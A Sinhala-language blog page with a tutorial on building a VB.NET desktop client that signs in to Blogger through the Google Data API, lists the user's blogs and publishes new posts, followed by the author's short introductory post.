මුලින්ම කරන්න ඕන Google Data API Download කරගන්න එක. මේ සඳහා මෙම ලින්ක් එක පාවිච්චි කරන්න. http://code.google.com/p/google-gdata/downloads/detail?name=Google%20Data%20API%20Setup%20%281.6.0.0%29.msi&can=2&q= මේක Download වුනයින් පස්සෙ Install කර ගන්න. මේකත් එක්ක ගොඩක් Sample codes අපට ලබා දෙනව. Blogger client එක සඳහා අවශ්ය වෙන codes ද මෙහිදී ලබා ගන්න පුළුවන්. මම බලාපොරොත්තු වෙන්නෙ එම Code එක සරල පැහැදිලි කිරීමක් සහිතව ඉදිරිපත් කරන්නයි. හරි දැන් අපි සූදානම් වැඩේ පටන් ගන්න. මම මේ Program එක ලියන්න යන්නෙ VB වලින් නමුත් C# වුවද මේ සඳහා භාවිතා කල හැකියි.
ප්රථමයෙන්ම මම පහත රූපයෙ දැක්වෙන විදියට User interface එක design කර ගෙන තියෙනවා. මෙහිදී මම User ව Authenticate කර ගන්න User name එක හා Password එක ලබා දීමට Text boxes දෙකක් පාවිච්චි කරල තියනවා. ඒවගේම එම User ට අයිති බ්ලොග් අඩවි පෙන්වීම සඳහා Combo box එකක් පාවිච්චි කරල තියනවා. ඒවගේම Sign in Button එක මඟින් User ව Authenticate කර ගැනීම හා User ට අයිති බ්ලොග් අඩවි Combo box එකෙහි දැක්වීම සිදුකරනවා. පහල කොටසින් Combo box එක මඟින් තෝරා ඇති බ්ලොග් එක සඳහා අළුත් Post එකක් එකතු කිරීම සිදුකරනවා.
දැන් කරන්න තියෙන්නෙ අදාල Class library එක අපෙ Solution එකට සම්භන්ධ කරන එක. ඒ සඳහා Solution explorer හී අපේ Project එක මත Right click කර Add Reference යන්න තෝරා ලැබෙන Dialog box එකෙහි .NET Tab එකට ගොස් එහි ඇති ලිස්ට් එකෙන් Google Data API Core Library යන්න තෝරා OK කරන්න.
දැන් අපි බලමු කොහොමද Codes ලියාගන්නෙ කියලා. මුලින්ම Code editor එකෙහි ඉහලින්ම පහත ආකාරයෙන් ලියාගන්න
Imports Google.GData.Client
දැන් අපිට Google මඟින් අපි ලබා ගන්නා සේවාව කුමක්ද කියා සඳහන් කර ගැනීමක් අවශ්ය වෙනවා. ඒ කියන්නේ අපි මෙහිදී පාවිච්චි කරන්නෙ Blogger නිසා ලබා ගන්නා සේවාව blogger යනුවෙන් සඳහන් කර ගැනීමක් අවශ්යයි. මේ සඳහා අපිට Service class එක පාවිච්චි කරන්න පුළුවන්. මෙහි Constructor එකට පහත ආකාරයට ලබා ගන්නා සේවාව හා අපගේ Application එකෙහි නම ලබා දිය යුතුයි. මෙය Instance variable එකක් වශයෙන් class definition එකට පහලින් Declare කරගන්න.
Private service As New Service("blogger", "Blogger Client")
දැන් අපිට Application එක පාවිච්චි කරන User ව Authenticate කර ගන්න ඕන. මේ සඳහා අපිට GDataCredentials class එක පාවිච්චි කරන්න පුළුවන්. දැන් පහත ආකාරයට Code එක ලියාගන්න.Dim user As String = txtUser.Text Dim password As String = txtPassword.Text Dim credential As New GDataCredentials(user, password) service.Credentials = credentialදැන් අපිට අවශ්යයි Authenticate කර ගත් User ට අයිති Blogs ටික Combo blox එකට add කර ගන්න. ඒක පහත ආකාරයෙන් කර ගන්න පුළුවන්.
Dim ServiceQuery As New FeedQuery
ServiceQuery.Uri = New Uri("http://www.blogger.com/feeds/default/blogs")
feed = service.Query(ServiceQuery)
blogs = Nothing
For Each blogs In feed.Entries
cmbBlog.Items.Add(blogs.Title.Text)
Next මෙහි දැක්වූ User ව Authenticate කර ගන්නා කොටස සහ User ට අයිති Blogs ටික Combo blox එකට add කර ගන්නා කොටස් දෙක පහත ආකාරයට Sign in button එකෙහි Click event එකෙහි තිබිය යුතුයි.Private Sub cmdSign_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdSign.Click
Dim user As String = txtUser.Text
Dim password As String = txtPassword.Text
Dim credential As New GDataCredentials(user, password)
service.Credentials = credential
Dim ServiceQuery As New FeedQuery
ServiceQuery.Uri = New Uri("http://www.blogger.com/feeds/default/blogs")
feed = service.Query(ServiceQuery)
blogs = Nothing
For Each blogs In feed.Entries
cmbBlog.Items.Add(blogs.Title.Text)
Next
End Sub
දැන් අපි බලමු මෙහි සිදු කර ඇත්තේ කුමක්ද කියා. ප්රථමයෙන් Authenticate කර ගත් User ට අදාල Feed එක සොය ගත යුතු වෙනවා. මෙම Feed එකෙහි එම User විසින් ලියන Blogs සම්භන්ධ විස්තර තියනව. මෙම Feed එක සොයා ගැනීමට FeedQuery class එක හා AtomFeed class එක පාවිච්චි කරන්න පුළුවන්. FeedQuery හී Uri Property එකට http://www.blogger.com/feeds/default/blogs නම් Feed භාවිතා කරන්නේ එම Feed එක මඟින් Authenticate කර ගත් User ට අදාල Feed එක ලබා ගත හැකි නිසයි. දැන් මෙම FeedQuery Object එක කලින් සකස් කරගත් Service Object එකෙහි Query Function එකට ලබා දීමෙන් AtomFeed Object එකක් Return වේ. මෙහි feed යනුවෙන් ඇත්තේ AtomFeed class එක පාවිච්චි කර සාදාගත් Object එකයි. මෙම Object එක මඟින් User ට අදාල Feed එක ලබා ගත හැකියි. මෙය Instance variable එකක් වශයෙන් class definition එකට පහලින් Declare කරගන්න. දැන් AtomFeed Object එකෙන් ලබා ගත් User ට අදාල Feed එකෙන් එම User විසින් ලියන බ්ලොග් අඩවි පිළිබඳ විස්තර වෙන් කර ගනිමු. මේ සඳහා AtomEntry class එක පාවිච්චි කරන්න ඕන. මෙහි blogs යනුවෙන් ඇත්තේ AtomEntry class එක පාවිච්චි කර සාදාගත් Object එකයි. මෙයද Instance variable එකක් වශයෙන් class definition එකට පහලින් Declare කරගන්න. මෙහි අවසානයේ For Each Loop එකක් භාවිතා කිරීමෙන් feed object එකෙහි ඇති entries blogs object එකට ලබා ගෙන එමගින් බ්ලොග් එකෙහි Title එක Combo box එකට add කර ගෙන ඇත.දැන් මෙම Program එක Run කර බලන්න. දැන් ඔබගේ User name එක හා Password එක ලබා දී Sign in button එක Click කරන්න. මෙහිදී ඔබ නිවැරදි විදියට Authenticate වූවා නම් ඔබ විසින් ලියන Blogs වල Title එක Combo box එකෙහි පෙන්විය යුතුයි.
හොඳයි දැන් අපි බලමු කොහොමද අපේ Blog එකකට අළුත් Post එකක් එකතු කරන්නෙ කියල. මෙහිදී සිදු වන්නේ අපි Combo box එකෙන් අදාල Blog එක තෝරන විට එම Blog එකට අදාල Feed එක සොයා එම Feed එකට අනුව අළුත් Post එකක් එකතු වීමයි. එහෙනම් අපි මුලින්ම බලමු අපි Combo box එකෙන් Blog එකක් තෝරන විට එම Blog එකට අදාල Feed එක සොයා ගන්නේ කොහොමද කියා. මේ සඳහා Combo box එකෙහි SelectedIndexChanged Event එක භාවිතා කරන්න. දැන් මෙම Event handler එක තුල පහත Code එක ලියා ගන්න.
Dim title As String = cmbBlog.SelectedItem
For Each blogs In feed.Entries
If blogs.Title.Text = title Then
blogFeed = blogs.FeedUri
Return
End If
Next
මෙහිදී සිදු වන්නේ Combo box එකෙහි selected item එක ඒ කියන්නෙ Blog එකෙහි Title එක එම Blog එකෙහි Feed එක තුල ඇත්දැයි බලා තිබේනම් එහි URL එක blogFeed නම් String Variable එක තුලට ලබා ගැනීමයි. මෙහි blogFeed Variable එක Instance variable එකක් වශයෙන් class definition එකට පහලින් Declare කරගන්න. දැන් කල යුතු වන්නේ සොයා ගත් Feed එකට අනුව Post එක එකතු කිරීමයි. මේ සඳහා Submit Button එකෙහි Click Event එක භාවිතා කරන්න. දැන් එහි පහත ආකාරයෙන් ලියා ගන්න.Dim post As New AtomEntry Dim postContent As New AtomContent Dim postfeed As New Uri(blogFeed) post.Title.Text = txtTitle.Text postContent.Content = txtPost.Text post.Content = postContent service.Insert(postfeed, post) txtTitle.Clear() txtPost.Clear()මෙහිදී service object එකෙහි Insert Method එක භාවිතා කර ඇති අතර එහි Parameters වශයෙන් Blog එකෙහි Feed එක හා අදාල Post එක කුමක්ද යන්න ලබා දී ඇත. Post එක සඳහා AtomEntry Object එකක් භාවිතා කර ඇති අතර ඉන් Post එකෙහි Title එක සැකසිය හැකිය. AtomContent Object එකක් මඟින් Post එකෙහි Content ලබාදී ඇත.
දැන් නැවත Program එක Run කර බලන්න. ඔබගේ User name එක හා Password එක ලබා දී Sign in button එක Click කරන්න. දැන් Combo box එක තුලින් Post එක Publish කිරීමට අවශ්ය Blog එක තෝරන්න. Post කිරීමට අවශ්ය දෙය හා එහි Title එක පහතින් ලබා දී Submit button එක Click කරන්න. සියල්ල නිවැරදිව සිදුවාවානම් ඔබගේ Post එක ඔබ තේරූ Blog එකෙහි Publish විය යුතුය.
මෙහි සම්පූර්ණ Source code එක ලබා ගැනීමට පහත Link එක භාවිතා කරන්න.
Download
මා මෙය සකස් කර ඇත්තේ .NET Framework 2.0 භාවිතයෙන් නිසා මෙය භාවිතා කිරීමට .NET Framework 2.0 හෝ ඉහල Version එකක් අවශ්ය වේ.
Posted by
Ranga
at
12:36 AM
6
comments
Email ThisBlogThis!Share to XShare to FacebookShare to Pinterest
Labels:
.NET,
Google Data API,
VB
Friday, September 24, 2010
මාත් අල්ල ගත්ත කොටි වලිගයක්
ඔන්න එහෙනම් හැමෝටම ආයුබොවන් කිව්ව. අද ඉඳන් මාත් ලියන්න පටන් ගන්නව බ්ලොග් එකක්. ලියනවයි කිව්වට මම ලියන්න නම් එච්චර දක්ෂ නෑ. ඉස්කෝලෙ යන කාලෙ ලිව්වයින් පස්සෙ මං හිතන්නෙ මේ පලවෙනි වතාවට මෙහෙම ලියන්නෙ. කොහොම හරි කමක් නෑ දැන් ඉතිං පටන් ගත්ත එක ලියන්නත් එපැයි. මේකත් කොටි වලිගෙ අල්ලගත්ත වගේ වේවිද දන්නැ. මොකද ඉතින් නොලියම හිටියොත් සින්ඩියෙනුත් එලවනවලුනේ. ඒකයි මම මාතෘකාවත් දැම්මෙ කොටි වලිගෙ අල්ල ගත්තයි කියල. ඔක්කොටම වඩා අමාරු මේ සිංහලෙන් කොටන එක. සිංහලෙන් කොටන්න නම් ඉතිං ඕන තරම් ක්රම තිබුනට මට හිතුන මගේම ක්රමයක් හදා ගත්තොත් හොඳයි කියල. ඒක නිසා මේ දවස් වල පොඩි සොෆ්ට්වෙයාර් කෑල්ලක් ලියා ගෙන යනව. බලමු ඒකත් ඉක්මනට ඉවර කරගන්න.
අනං මනං කිය කිය හිටියට තාම මං ලියන්නෙ යන්නෙ මොනවද කියල කිව්වෙ නෑනෙ. ප්රධාන වශයෙන්නම් ඉතින් ලියන්න බලාපොරොත්තුවෙන්නෙ .NET ගැන තමයි. ඊට අමතරව ඉතින් ඔය කාපු බීපු දෙයක් ගැන හරි ලියන්න බැරියැ. ඇත්තටම මට මේ බ්ලොග් එක ලියන්න හිතුනෙ කරුණු දෙකක් හින්ද. එකක් තමයි මම දන්න දෙයක් කාට හරි කියල දෙන එක. අනෙක තමයි මම නොදන්න දේවල් ඉගෙන ගන්න එක. මොකද ඉතින් මාත් තාම ඉගෙන ගන්න කෙනෙක් නේ. මම ලියන දේවල් වල අඩුපාඩුවක් වැරැද්දක් තිබුනොත් මම හිතනව කවුරු හරි මට ඒක පෙන්නල දේවි කියල. එතකොට ඒකෙනුත් මට මොනවහරි ඉගෙන ගන්න පුළුවන් වේවි නේ. හරි එහෙනම් දැනට මෙච්චරයි. ඊළඟ දවසෙ හොඳවයින් මොනවහරි ටිකකුත් එක්ක හම්බවෙමු. එහෙනම් ගිහිල්ල එන්නම්.
අනං මනං කිය කිය හිටියට තාම මං ලියන්නෙ යන්නෙ මොනවද කියල කිව්වෙ නෑනෙ. ප්රධාන වශයෙන්නම් ඉතින් ලියන්න බලාපොරොත්තුවෙන්නෙ .NET ගැන තමයි. ඊට අමතරව ඉතින් ඔය කාපු බීපු දෙයක් ගැන හරි ලියන්න බැරියැ. ඇත්තටම මට මේ බ්ලොග් එක ලියන්න හිතුනෙ කරුණු දෙකක් හින්ද. එකක් තමයි මම දන්න දෙයක් කාට හරි කියල දෙන එක. අනෙක තමයි මම නොදන්න දේවල් ඉගෙන ගන්න එක. මොකද ඉතින් මාත් තාම ඉගෙන ගන්න කෙනෙක් නේ. මම ලියන දේවල් වල අඩුපාඩුවක් වැරැද්දක් තිබුනොත් මම හිතනව කවුරු හරි මට ඒක පෙන්නල දේවි කියල. එතකොට ඒකෙනුත් මට මොනවහරි ඉගෙන ගන්න පුළුවන් වේවි නේ. හරි එහෙනම් දැනට මෙච්චරයි. ඊළඟ දවසෙ හොඳවයින් මොනවහරි ටිකකුත් එක්ක හම්බවෙමු. එහෙනම් ගිහිල්ල එන්නම්.
Posted by
Ranga
at
1:23 AM
1 comments
Email ThisBlogThis!Share to XShare to FacebookShare to Pinterest
Subscribe to:
Posts (Atom)






